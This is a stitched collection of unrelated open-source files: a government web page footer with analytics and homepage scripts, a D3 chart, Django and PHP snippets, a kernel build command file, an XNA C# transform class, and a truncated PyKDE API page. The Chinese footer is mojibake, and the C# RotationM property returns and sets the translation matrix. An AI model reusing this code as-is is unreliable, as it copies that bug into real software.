<p>Ö÷°ì£º±±¾©ÊÐÈËÃñÕþ¸® °æÈ¨ËùÓга죺±±¾©Êо¼ÃºÍÐÅÏ¢»¯Î¯Ô±»á ¾©ICP±¸05060933ºÅ ÔËÐйÜÀí£ºÊ×¶¼Ö®´°ÔËÐйÜÀíÖÐÐÄ</p>
<p>¾©¹«Íø°²±¸ 110105000722 µØÖ·£º±±¾©Êг¯ÑôÇø±±³½Î÷·Êý×Ö±±¾©´óÏÃÄϰ˲㠴«Õ棺84371700 ¿Í·þÖÐÐĵ绰£º59321109</p>
</div>
</div>
</div>
</div>
</div>
<div style="display:none">
<scRiPT type="text/javascRiPT">document.write(unescape("%3CscRiPT src='http://yhfx.beijing.gov.cn/webdig.js?z=12' type='text/javascRiPT'%3E%3C/scRiPT%3E"));</scRiPT>
<scRiPT type="text/javascRiPT">wd_paramtracker("_wdxid=000000000000000000000000000000000000000000")</scRiPT>
</div>
<scRiPT src="http://static.gridsumdissector.com/js/Clients/GWD-800003-C99186/gs.js" language="JavaScript"></scRiPT>
<scRiPT type="text/javascRiPT">
// ÉèÖÃΪÖ÷Ò³
function SetHome(obj,vrl){
try{
obj.style.behavior='url(#default#homepage)';obj.setHomePage(vrl);
}
catch(e){
if(window.netscape) {
try {
netscape.security.PrivilegeManager.enablePrivilege("UniversalXPConnect");
}
catch (e) {
alert("´Ë²Ù×÷±»ä¯ÀÀÆ÷¾Ü¾ø£¡\nÇëÔÚä¯ÀÀÆ÷µØÖ·À¸ÊäÈë¡°about:config¡±²¢»Ø³µ\nÈ»ºó½« [signed.applets.codebase_principal_support]µÄÖµÉèÖÃΪ'true',Ë«»÷¼´¿É¡£");
}
var prefs = Components.classes['@mozilla.org/preferences-service;1'].getService(Components.interfaces.nsIPrefBranch);
prefs.setCharPref('browser.startup.homepage',vrl);
}else{
alert("ÄúµÄä¯ÀÀÆ÷²»Ö§³Ö£¬Çë°´ÕÕÏÂÃæ²½Öè²Ù×÷£º1.´ò¿ªä¯ÀÀÆ÷ÉèÖá£2.µã»÷ÉèÖÃÍøÒ³¡£3.ÊäÈ룺"+vrl+"µã»÷È·¶¨¡£");
}
}
}
// ¼ÓÈëÊÕ²Ø ¼æÈÝ360ºÍIE6
function shoucang(sTitle,sURL)
{
try
{
window.external.addFavorite(sURL, sTitle);
}
catch (e)
{
try
{
window.sidebar.addPanel(sTitle, sURL, "");
}
catch (e)
{
alert("¼ÓÈëÊÕ²ØÊ§°Ü£¬ÇëʹÓÃCtrl+D½øÐÐÌí¼Ó");
}
}
}
</scRiPT>
<!-- Le javascRiPT
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<scRiPT src="/images/zhuanti/xysym/jquery.js"></scRiPT>
<scRiPT src="/images/zhuanti/xysym/bootstrap-collapse.js"></scRiPT>
<scRiPT>
$(document).ready(function(){
$(".ui-select").selectWidget({
change : function (changes) {
return changes;
},
effect : "slide",
keyControl : true,
speed : 200,
scrollHeight : 250
});
});
</scRiPT>
</body>
</html>
|
ForAEdesWeb/AEW25
|
logs/po/q44786.html
|
HTML
|
gpl-2.0
| 17,819
|
<CTYPE html>
<html>
<head>
<script type="text/javascript" src="d3.v3.min.js"></script>
</head>
<body>
<script type="text/javascript">
var wide = 800;
var high = 600;
var timeStep =40000000; // microseconds in a minute
var svg = d3.select("body").append("svg:svg")
.attr("width", wide)
.attr("height", high);
d3.csv("data.csv",
function(d) {
var myD = {
elapsed: +d["#ELAPSED_USECS.D"],
ssid: +d["LUN_SSID.I"],
lba: +d["LBA.I"]/(2048.0*4096),
nblks: +d["NBLKS.I"]/(2048.0*4096),
accessed: +d["NBLKS_ACCESSED.I"],
prevgap: +d["NBLKS_PREVGAP.I"]
};
console.log("Got " + myD.elapsed + ":" + myD.ssid + ":" + myD.lba + ":" + myD.nblks + ":" + myD.accessed + ":" + myD.prevgap );
return myD;
},
function(error, data) {
// Find limits
var minElapsed = d3.min(data, function(d) { return d.elapsed; });
var maxElapsed = d3.max(data, function(d) { return d.elapsed; });
var minLba = d3.min(data, function(d) { return d.lba ; });
var maxLba = d3.max(data, function(d)
{ return (d.lba + d.nblks) ; });
var minNblks = d3.min(data, function(d) { return d.nblks ; });
var maxNblks = d3.max(data, function(d) { return d.nblks ; });
var minAccessed = d3.min(data, function(d) { return d.accessed; });
var maxAccessed = d3.max(data, function(d) { return d.accessed; });
// Setup scales
var xScale = d3.scale.linear()
.domain([minElapsed, maxElapsed])
.range([200,wide]);
var yScale = d3.scale.linear()
.domain([minLba, maxLba])
.range([345,high]);
var colorScale = d3.scale.linear()
.domain([200,400])
.range(["blue","green"]);
// DATA JOIN
// Join new data with old rectangles, if any.
var rectangles = svg.selectAll("rect")
.data(data);
// UPDATE
// Update old rectangles as needed.
// ENTER
// Create new rectangles as needed.
rectangles.enter().append("rect")
.transition().duration(500)
.attr("x", function(d) { return xScale(d.elapsed); })
.attr("y", function(d) { console.log("Touching " + d.lba); return yScale(d.lba); })
.attr("width", xScale(minElapsed+timeStep))
.attr("height", function(d) { return yScale(minLba + d.nblks); })
.attr("fill", function(d) {
var colorpct = 500.0 * (d.accessed - minAccessed) /
(maxAccessed - minAccessed);
return colorScale(colorpct); });
// EXIT
// Remove old rectangles as needed.
rectangles.exit()
.transition().duration(500)
.remove();
});
</script>
</body>
</html>
|
nvbhat/visual-search
|
sample.html
|
HTML
|
gpl-2.0
| 2,753
|
# -*- coding: utf-8 -*-
#
from django.contrib.staticfiles.templatetags.staticfiles import static
from django.conf import settings
from django.utils.translation import gettext_lazy as _
def jumpserver_processor(request):
# Setting default pk
context = {
'DEFAULT_PK': '00000000-0000-0000-0000-000000000000',
'LOGO_URL': static('img/logo.png'),
'LOGO_TEXT_URL': static('img/logo_text.png'),
'LOGIN_IMAGE_URL': static('img/login_image.png'),
'FAVICON_URL': static('img/facio.ico'),
'JMS_TITLE': 'Jumpserver',
'VERSION': settings.VERSION,
'COPYRIGHT': 'FIT2CLOUD 飞致云' + ' © 2014-2019',
'SECURITY_COMMAND_EXECUTION': settings.SECURITY_COMMAND_EXECUTION,
'SECURITY_MFA_VERIFY_TTL': settings.SECURITY_MFA_VERIFY_TTL,
}
return context
|
eli261/jumpserver
|
apps/jumpserver/context_processor.py
|
Python
|
gpl-2.0
| 835
|
<?php
/**
* Copyright (C) 2011-2015 Visman (mio.visman@yandex.ru)
* License: http://www.gnu.org/licenses/gpl.html GPL version 2 or higher
*/
if (!defined('PUN'))
exit;
if (isset($pun_config['o_fbox_files']) && !isset($http_status) && (!$pun_user['is_guest'] || !empty($pun_config['o_fbox_guest'])))
{
if (strpos(','.$pun_config['o_fbox_files'], ','.basename($_SERVER['PHP_SELF'])) !== false || (!empty($plugin) && strpos(','.$pun_config['o_fbox_files'], ','.$plugin) !== false))
{
if (!isset($page_head))
$page_head = array();
$page_head['fancyboxcss'] = '<link rel="stylesheet" type="text/css" href="style/imports/fancybox.css" />';
if (!isset($page_js))
{
$page_head['jquery'] = '<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>';
$page_head['fancybox'] = '<script type="text/javascript" src="js/fancybox.js"></script>';
}
else // For FluxBB by Visman
{
$page_js['j'] = 1;
$page_js['f']['fancybox'] = 'js/fancybox.js';
}
}
}
|
MioVisman/FluxBB_by_Visman
|
include/fancybox.php
|
PHP
|
gpl-2.0
| 1,028
|
cmd_drivers/input/built-in.o := ld -m elf_i386 -r -o drivers/input/built-in.o drivers/input/input-core.o drivers/input/mousedev.o drivers/input/evdev.o drivers/input/keyboard/built-in.o drivers/input/mouse/built-in.o
|
namgk/kernel-tut
|
drivers/input/.built-in.o.cmd
|
Batchfile
|
gpl-2.0
| 221
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Xna.Framework;
using AnimationExample;
namespace ProjectSneakyGame
{
/// <summary>
/// Extension of the DrawableGameComponent class.
/// Includes set-up and functions for 3D matrix movement of DrawableGameComponent types.
/// </summary>
public class DrawableMovableComponent : DrawableGameComponent
{
protected float _speed;
protected Vector3 _pos;
protected Matrix _trans, _rot, _scale, _main;
protected Game1 _game;
protected MovableBoundingBox _bBox;
public float Speed { get { return _speed; } set { _speed = value; } }
public Vector3 Pos { get { return _pos; } set { _pos = value; } }
public Matrix TranslationM { get { return _trans; } set { _trans = value; } }
public Matrix RotationM { get { return _trans; } set { _trans = value; } }
public Matrix ScaleM { get { return _scale; } set { _scale = value; } }
public Matrix TransformationM { get { return _main; } }
public MovableBoundingBox BoundingBox { get { return _bBox; } set { _bBox = value; } }
public DrawableMovableComponent(Game1 game):base(game)
{
_pos = Vector3.One;
_main = Matrix.Identity;
_trans = Matrix.Identity;
_rot = Matrix.Identity;
_scale = Matrix.Identity;
_game = game;
_speed = 0;
}
public DrawableMovableComponent(Game1 game, Vector3 pos)
: base(game)
{
_pos = pos;
//_trans.Translation = _pos;
_trans = Matrix.CreateTranslation(pos);
_rot = Matrix.Identity;
_scale = Matrix.Identity;
_main = Matrix.Identity;
_speed = 0;
_game = game;
}
public DrawableMovableComponent(Game1 game, Vector3 pos, float speed)
: base(game)
{
_pos = pos;
//_trans.Translation = _pos;
_trans = Matrix.CreateTranslation(pos);
_rot = Matrix.Identity;
_scale = Matrix.Identity;
_main = Matrix.Identity;
_speed = speed;
_game = game;
}
public virtual void Translate(Vector3 vec, GameTime g)
{
_trans *= Matrix.CreateTranslation(vec * (float)g.ElapsedGameTime.TotalSeconds);
_pos += vec * (float)g.ElapsedGameTime.TotalSeconds;
}
public virtual void Translate(Vector3 vec)
{
_trans *= Matrix.CreateTranslation(vec);
_pos += vec;
}
public virtual void Translate(float x, float y, float z, GameTime g)
{
Vector3 temp = new Vector3(x,y,z);
_trans *= Matrix.CreateTranslation(temp * (float)g.ElapsedGameTime.TotalSeconds);
_pos += temp * (float)g.ElapsedGameTime.TotalSeconds;
}
public virtual void Translate(float x, float y, float z)
{
Vector3 temp = new Vector3(x, y, z);
_trans *= Matrix.CreateTranslation(temp);
_pos += temp;
}
public virtual void RotateX(float rot, GameTime g)
{
_rot *= Matrix.CreateRotationX(rot * (float)g.ElapsedGameTime.TotalSeconds);
_pos += _rot.Translation;
}
public virtual void RotateX(float rot)
{
_rot *= Matrix.CreateRotationX(rot);
_pos += _rot.Translation;
}
public virtual void RotateY(float rot, GameTime g)
{
_rot *= Matrix.CreateRotationY(rot * (float)g.ElapsedGameTime.TotalSeconds);
_pos += _rot.Translation;
}
public virtual void RotateY(float rot)
{
_rot *= Matrix.CreateRotationY(rot);
_pos += _rot.Translation;
}
public virtual void RotateZ(float rot, GameTime g)
{
_rot *= Matrix.CreateRotationZ(rot * (float)g.ElapsedGameTime.TotalSeconds);
_pos += _rot.Translation;
}
public virtual void RotateZ(float rot)
{
_rot *= Matrix.CreateRotationZ(rot);
_pos += _rot.Translation;
}
public virtual void RotateOnAxis(Vector3 axis, float rot, GameTime g)
{
_rot *= Matrix.CreateFromAxisAngle(axis, rot * (float)g.ElapsedGameTime.TotalSeconds);
_pos += _rot.Translation;
}
public virtual void RotateOnAxis(Vector3 axis, float rot)
{
_rot *= Matrix.CreateFromAxisAngle(axis, rot);
_pos += _rot.Translation;
}
public virtual void Scale(float scale, GameTime g)
{
_scale *= Matrix.CreateScale(scale * (float)g.ElapsedGameTime.TotalSeconds);
}
public virtual void Scale(float scale)
{
_scale *= Matrix.CreateScale(scale);
}
public virtual void Scale(float x, float y, float z, GameTime g)
{
Vector3 temp = new Vector3(x, y, z);
temp *= (float)g.ElapsedGameTime.TotalSeconds;
_scale *= Matrix.CreateScale(temp);
}
public virtual void Scale(float x, float y, float z)
{
_scale *= Matrix.CreateScale(x, y, z);
}
public virtual void Scale(Vector3 vec, GameTime g)
{
_scale *= Matrix.CreateScale(vec * (float)g.ElapsedGameTime.TotalSeconds);
}
public virtual void Scale(Vector3 vec)
{
_scale *= Matrix.CreateScale(vec);
}
public virtual void MoveForward(GameTime g)
{
Translate(Vector3.Forward * _speed, g);
}
public virtual void MoveBackward(GameTime g)
{
Translate(Vector3.Backward * _speed, g);
}
public virtual void MoveUp(GameTime g)
{
Translate(Vector3.Up * _speed, g);
}
public virtual void MoveDown(GameTime g)
{
Translate(Vector3.Down * _speed, g);
}
public virtual void MoveLeft(GameTime g)
{
Translate(Vector3.Left * _speed, g);
}
public virtual void MoveRight(GameTime g)
{
Translate(Vector3.Right * _speed, g);
}
public virtual void Move(GameTime g, Vector3 dir)
{
Translate(dir * _speed, g);
}
/// <summary>
/// Resets the GraphicsDevice states so that they are able to draw 3D objects.
/// </summary>
protected void SetGraphicsStatesFor3D()
{
_game.GraphicsDevice.RasterizerState = GraphicsDeviceStates.Rasterizer3DNormal;
_game.GraphicsDevice.BlendState = GraphicsDeviceStates.Blend3DNormal;
_game.GraphicsDevice.DepthStencilState = GraphicsDeviceStates.DepthStencil3DNormal;
_game.GraphicsDevice.SamplerStates[0] = GraphicsDeviceStates.Sampler3DNormal;
}
public override void Update(GameTime gameTime)
{
_main = _scale * _rot * _trans;
if (_bBox != null)
_bBox.Transform(_trans.Translation);
base.Update(gameTime);
}
static public implicit operator BoundingBox(DrawableMovableComponent obj)
{
return obj._bBox;
}
}
}
|
JoshuaKlaser/ANSKLibrary
|
AnimationExample/AnimationExample/DrawableMovableComponent.cs
|
C#
|
gpl-2.0
| 7,452
|
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>KMessageWidget</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="Content-Style-Type" content="text/css" />
<link rel="stylesheet" type="text/css" href="../common/doxygen.css" />
<link rel="stylesheet" media="screen" type="text/css" title="KDE Colors" href="../common/kde.css" />
</head>
<body>
<div id="container">
<div id="header">
<div id="header_top">
<div>
<div>
<img alt ="" src="../common/top-kde.jpg"/>
KDE 4.9 PyKDE API Reference
</div>
</div>
</div>
<div id="header_bottom">
<div id="location">
<ul>
<li>KDE's Python API</li>
</ul>
</div>
<div id="menu">
<ul>
<li><a href="../modules.html">Overview</a></li>
<li><a href="http://techbase.kde.org/Development/Languages/Python">PyKDE Home</a></li>
<li><a href="http://kde.org/family/">Sitemap</a></li>
<li><a href="http://kde.org/contact/">Contact Us</a></li>
</ul>
</div>
</div>
</div>
<div id="body_wrapper">
<div id="body">
<div id="right">
<div class="content">
<div id="main">
<div class="clearer"> </div>
<h1>KMessageWidget Class Reference</h1>
<code>from PyKDE4.kdeui import *</code>
<p>
Inherits: QFrame → QWidget → QObject<br />
<h2>Detailed Description</h2>
<p>A widget to provide feedback or propose opportunistic interactions.
</p>
<p>
KMessageWidget can be used to provide inline positive or negative
feedback, or to implement opportunistic interactions.
</p>
<p>
As a feedback widget, KMessageWidget provides a less intrusive alternative
to "OK Only" message boxes. If you do not need the modalness of KMessageBox,
consider using KMessageWidget instead.
</p>
<p>
<b>Negative feedback</b>
</p>
<p>
The KMessageWidget can be used as a secondary indicator of failure: the
first indicator is usually the fact the action the user expected to happen
did not happen.
</p>
<p>
Example: User fills a form, clicks "Submit".
</p>
<p>
<li> Expected feedback: form closes </li>
<li> First indicator of failure: form stays there </li>
<li> Second indicator of failure: a KMessageWidget appears on top of the </li>
form, explaining the error condition
</p>
<p>
When used to provide negative feedback, KMessageWidget should be placed
close to its context. In the case of a form, it should appear on top of the
form entries.
</p>
<p>
KMessageWidget should get inserted in the existing layout. Space should not
be reserved for it, otherwise it becomes "dead space", ignored by the user.
KMessageWidget should also not appear as an overlay to prevent blocking
access to elements the user needs to interact with to fix the failure.
</p>
<p>
<b>Positive feedback</b>
</p>
<p>
KMessageWidget can be used for positive feedback but it shouldn't be
overused. It is often enough to provide feedback by simply showing the
results of an action.
</p>
<p>
Examples of acceptable uses:
</p>
<p>
<li> Confirm success of "critical" transactions </li>
<li> Indicate completion of background tasks </li>
</p>
<p>
Example of inadapted uses:
</p>
<p>
<li> Indicate successful saving of a file </li>
<li> Indicate a file has been successfully removed </li>
</p>
<p>
<b>Opportunistic interaction</b>
</p>
<p>
Opportunistic interaction is the situation where the application suggests to
the user an action he could be interested in perform, either based on an
action the user just triggered or an event which the application noticed.
</p>
<p>
Example of acceptable uses:
</p>
<p>
<li> A browser can propose remembering a recently entered password </li>
<li> A music collection can propose ripping a CD which just got inserted </li>
<li> A chat application may notify the user a "special friend" just connected </li>
</p>
<p>
<dl class="author" compact><dt><b>Author:</b></dt><dd> Aurélien Gâteau <agateau@kde.org> </dd></dl>
<dl class="since" compact><dt><b>Since:</b></dt><dd> 4.7
</dd></dl>
</p>
<table border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2"><br><h2>Enumerations</h2></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"><a class="el" href="#MessageType">MessageType</a> </td><td class="memItemRight" valign="bottom">{ Positive, Information, Warning, Error }</td></tr>
<tr><td colspan="2"><br><h2>Methods</h2></td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#KMessageWidget">__init__</a> (self, QWidget parent=0)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#KMessageWidget">__init__</a> (self, QString text, QWidget parent=0)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#addAction">addAction</a> (self, QAction action)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#animatedHide">animatedHide</a> (self)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#animatedShow">animatedShow</a> (self)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="#event">event</a> (self, QEvent event)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">int </td><td class="memItemRight" valign="bottom"><a class="el" href="#heightForWidth">heightForWidth</a> (self, int width)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="#isCloseButtonVisible">isCloseButtonVisible</a> (self)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"><a href="../kdeui/KMessageWidget.html#MessageType">KMessageWidget.MessageType</a> </td><td class="memItemRight" valign="bottom"><a class="el" href="#messageType">messageType</a> (self)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">QSize </td><td class="memItemRight" valign="bottom"><a class="el" href="#minimumSizeHint">minimumSizeHint</a> (self)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#paintEvent">paintEvent</a> (self, QPaintEvent event)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#removeAction">removeAction</a> (self, QAction action)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#resizeEvent">resizeEvent</a> (self, QResizeEvent event)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#setCloseButtonVisible">setCloseButtonVisible</a> (self, bool visible)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#setMessageType">setMessageType</a> (self, <a href="../kdeui/KMessageWidget.html#MessageType">KMessageWidget.MessageType</a> type)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#setText">setText</a> (self, QString text)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#setWordWrap">setWordWrap</a> (self, bool wordWrap)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top"> </td><td class="memItemRight" valign="bottom"><a class="el" href="#showEvent">showEvent</a> (self, QShowEvent event)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">QSize </td><td class="memItemRight" valign="bottom"><a class="el" href="#sizeHint">sizeHint</a> (self)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">QString </td><td class="memItemRight" valign="bottom"><a class="el" href="#text">text</a> (self)</td></tr>
<tr><td class="memItemLeft" nowrap align="right" valign="top">bool </td><td class="memItemRight" valign="bottom"><a class="el" href="#wordWrap">wordWrap</a> (self)</td></tr>
</table>
<hr><h2>Method Documentation</h2><a class="anchor" name="KMessageWidget"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname">__init__</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">QWidget </td>
<td class="paramname"><em>parent=0</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"><p>Constructs a KMessageWidget with the specified parent.
</p></div></div><a class="anchor" name="KMessageWidget"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname">__init__</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">QString </td>
<td class="paramname"><em>text</em>, </td>
</tr>
<tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">QWidget </td>
<td class="paramname"><em>parent=0</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="addAction"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"> addAction</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">QAction </td>
<td class="paramname"><em>action</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="animatedHide"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"> animatedHide</td>
<td>(</td>
<td class="paramtype"> </td>
<td class="paramname"><em>self</em> )</td>
<td width="100%"> </td>
</tr>
</table>
</div>
<div class="memdoc"><p>Hide the widget using an animation, unless
KGlobalSettings.graphicsEffectLevel() does not allow simple effects.
</p></div></div><a class="anchor" name="animatedShow"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"> animatedShow</td>
<td>(</td>
<td class="paramtype"> </td>
<td class="paramname"><em>self</em> )</td>
<td width="100%"> </td>
</tr>
</table>
</div>
<div class="memdoc"><p>Show the widget using an animation, unless
KGlobalSettings.graphicsEffectLevel() does not allow simple effects.
</p></div></div><a class="anchor" name="event"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname">bool event</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">QEvent </td>
<td class="paramname"><em>event</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="heightForWidth"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname">int heightForWidth</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">int </td>
<td class="paramname"><em>width</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="isCloseButtonVisible"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname">bool isCloseButtonVisible</td>
<td>(</td>
<td class="paramtype"> </td>
<td class="paramname"><em>self</em> )</td>
<td width="100%"> </td>
</tr>
</table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="messageType"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"><a href="../kdeui/KMessageWidget.html#MessageType">KMessageWidget.MessageType</a> messageType</td>
<td>(</td>
<td class="paramtype"> </td>
<td class="paramname"><em>self</em> )</td>
<td width="100%"> </td>
</tr>
</table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="minimumSizeHint"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname">QSize minimumSizeHint</td>
<td>(</td>
<td class="paramtype"> </td>
<td class="paramname"><em>self</em> )</td>
<td width="100%"> </td>
</tr>
</table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="paintEvent"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"> paintEvent</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">QPaintEvent </td>
<td class="paramname"><em>event</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="removeAction"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"> removeAction</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">QAction </td>
<td class="paramname"><em>action</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="resizeEvent"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"> resizeEvent</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">QResizeEvent </td>
<td class="paramname"><em>event</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="setCloseButtonVisible"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"> setCloseButtonVisible</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">bool </td>
<td class="paramname"><em>visible</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="setMessageType"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"> setMessageType</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype"><a href="../kdeui/KMessageWidget.html#MessageType">KMessageWidget.MessageType</a> </td>
<td class="paramname"><em>type</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="setText"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"> setText</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">QString </td>
<td class="paramname"><em>text</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="setWordWrap"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"> setWordWrap</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">bool </td>
<td class="paramname"><em>wordWrap</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="showEvent"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname"> showEvent</td>
<td>(</td>
<td class="paramtype"> <em>self</em>, </td>
<td class="paramname"></td>
</tr><tr>
<td class="memname"></td>
<td></td>
<td class="paramtype">QShowEvent </td>
<td class="paramname"><em>event</em></td>
</tr>
<tr>
<td></td>
<td>)</td>
<td></td>
<td></td>
<td width="100%"> </td>
</tr></table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="sizeHint"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname">QSize sizeHint</td>
<td>(</td>
<td class="paramtype"> </td>
<td class="paramname"><em>self</em> )</td>
<td width="100%"> </td>
</tr>
</table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="text"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
<td class="memname">QString text</td>
<td>(</td>
<td class="paramtype"> </td>
<td class="paramname"><em>self</em> )</td>
<td width="100%"> </td>
</tr>
</table>
</div>
<div class="memdoc"></div></div><a class="anchor" name="wordWrap"></a>
<div class="memitem">
<div class="memproto">
<table class="memname"><tr>
